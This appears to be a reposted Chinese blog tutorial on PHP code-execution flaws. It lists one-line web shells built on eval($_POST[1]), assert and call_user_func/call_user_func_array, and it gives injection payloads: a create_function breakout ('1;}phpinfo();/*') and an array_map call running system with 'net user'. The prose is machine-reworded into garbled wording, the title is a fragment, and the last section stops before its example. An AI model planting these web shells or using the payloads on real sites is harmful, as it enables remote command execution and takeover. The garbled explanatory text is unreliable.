当前位置:首页 > Web开发 > 正文

array $array2 ]) array_map函数返回为每个数组元素应用callback函数之后的数组

2024-03-31 Web开发

技术图片

比来的日子简简单单 早上起来健身+散打来一套 看看电视剧学习学习吃用饭一天就结束了emmmm太快了一天 所以要越发努力!越发勤奋!

PHP代码执行缝隙

有的应用措施中供给了一些可以将字符串作为代码执行的函数,例如PHP中的eval函数,可以将改函数的参数当做PHP代码来执行。如果对这些函数的参数控制不严格,就可能会被打击者操作,执行恶意代码

 1. eval函数

eval函数把字符串作为PHP代码执行

<?php eval("$_POST[1]")?>

技术图片

 2. assert函数

assert函数查抄一个断言是否为FALSE

<?php assert($_POST[1])?>

技术图片

 3.call_user_func函数

call_user_func函数把第一个参数作为回调函数挪用

函数语法:mixed call_user_func ( callable $callback , array $param_arr )

第一个参数callback是被挪用的回调函数,,其余参数是回调函数的参数

<?php call_user_func($_POST[‘fun‘],$_POST[‘arg‘])?>

此代码为一句话木马的变形代码,通过POST型fun参数挪用了system函数,通过POST型arg参数传入net user命令,执行了system(‘net usert’),返回当前用户信息

技术图片

4. call_user_fun_array函数

call_user_func_array函数把第一个参数作为毁失函数挪用,把参数参数函数组作为回调函数

函数语法:mixed call_user_func_array ( callable $callback , array $param_arr )

call_user_func_array函数把第一个参数作为回调,把参数数组作为回调函数的参数传入

<?php call_user_func_array($_POST[‘fun‘],$_POST[‘arg‘])?>

5.create_function函数

create_function函数按照通报的参数创建匿名函数,并为该匿名函数返回独一的名称

函数语法:string create_function(string $arges , string $code)

示例代码:

<?php $id=$_GET[‘id‘]; $code=‘echo‘.$func.‘test‘.$id.‘.‘; create_function(‘$func‘,$code); ?>

create_function函数会创建虚拟函数转酿成如下代码

<?php $id=$_GET[‘id‘]; function func($func){ echo "test".$id; } ?>

当id传入1;}phpinfo();/*时 就可以造成代码执行

Payload: 

http://127.0.0.1/test.php?id=1;}phpinfo();/*

技术图片

6. array_map函数

array_map函数为数组的每个元素应用回调函数

函数语法:array array_map(callable $callback,array $array[,array $array2…])

array_map函数返回为每个数组元素应用callback函数之后的数组。Callback函数形参的数量传给array_map函数的数组的数量必需不异

<?php $func=$_GET[‘func‘]; $argv=$_GET[‘argv‘]; $array[0]=$argv; array_map($func,$array); ?>

Payload: 

http://127.0.0.1/test.php?func=system&argv=net user

技术图片

 7.preg_replace函数

preg_replace函数执行一个正则表达式的搜索和替换

语法:mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。

温馨提示: 本文由Jm博客推荐,转载请保留链接: https://www.jmwww.net/file/web/30608.html